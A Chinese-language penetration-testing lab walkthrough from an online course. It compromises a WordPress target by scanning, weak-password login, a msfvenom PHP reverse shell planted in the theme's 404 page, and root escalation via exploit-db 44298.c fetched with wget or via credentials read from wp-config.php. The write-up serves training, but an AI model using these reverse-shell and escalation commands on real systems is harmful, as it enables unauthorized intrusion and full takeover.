51CTO的网课,本篇利用nmap搜索开放端口,nikto、dirb挖掘web服务找到后台地址,弱口令直接登录后台,修改主题404页面上传反弹shell,执行反弹shell获得低权用户shell,提权有两种方式,一种是查看网站配置文件找到mysql数据库,里面存着密码,可以root,另外一种是searchsploit系统版本,执行本地提权脚本返回root权限,本文两种方式均有展示。
本篇使用工具nmap,dirb,nikto,metasploit。
使用命令
1 2 3 4 5 6 7 8 9 10
| msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP lport=攻击机端口 -f raw > shell.php
msfconsole >use exploit/multi/handler >set payload php/meterpreter/reverse_tcp >set lhost 攻击机IP >set lport 攻击机端口 >run
|
渗透记录
- nmap扫描靶机IP地址开放端口,一个
80
口的web服务,dirb
挖掘80
端口web信息,找到后台登录界面:
1 2 3 4
| nmap -sV 192.168.1.104 nmap -T4 -A -v 192.168.1.104 dirb http://192.168.1.104 nikto -host 192.168.1.104
|
- 弱口令直接登上去了,修改主题404页面为反弹shell:
1
| msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.106 lport=4444 -f raw > shell.php && cat shell.php
|
- metasploit开启监听,访问404页面,得到低权shell,sysinfo查看系统版本:
- 本地搜索可利用提权漏洞:
1 2 3
| meterpreter > sysinfo
searchsploit Linux 4.4.0
|
- 复制并编译提权脚本到apache根目录下,开启apache2服务:
1 2 3
| cp /usr/share/exploitdb/exploits/linux/local/44298.c /var/www/html/shell.c gcc /var/www/html/shell.c -o /var/www/html/shell service apache2 start
|
- 靶机上wget下来,添加执行权限,执行获得root权限:
1 2 3 4
| cd /tmp wget -O shell http://192.168.1.106/shell chmod 777 shell ./shell
|
- 提权shell的上传除了靶机wget也可以在meterpreter里upload:
1 2 3 4 5
| meterpreter > upload /var/www/html/shell meterpreter > shell
chmod 777 shell ./shell
|
- 除了系统版本漏洞提权,还可以猜数据库(滑稽),查看
/var/www/html/wordpress/wp-config.php
得到mysql数据库口令和密码:
- 查看表:
1 2
| mysql -h localhost -u root -p -D wordpress -e 'show tables;': Enter password: rootpassword!
|
- 查看
wp_users
表中数据,找到md5加密的密码:
1 2
| mysql -h localhost -u root -p -D wordpress -e 'select * from wp_users': Enter password: rootpassword!
|
- 百度解密得到明文
roottoor
,因为靶机没有python模拟不出来sh/bash
,因此su
命令不能用,直接攻击机本地ssh连接登录得到root权限:
1 2
| ssh root@192.168.1.104 root@192.168.1.104's password: roottoor
|
参考资料
- 2020发布 CTF基础入门/CTF教程零基础 渗透测试/web安全/CTF夺旗【整套教程】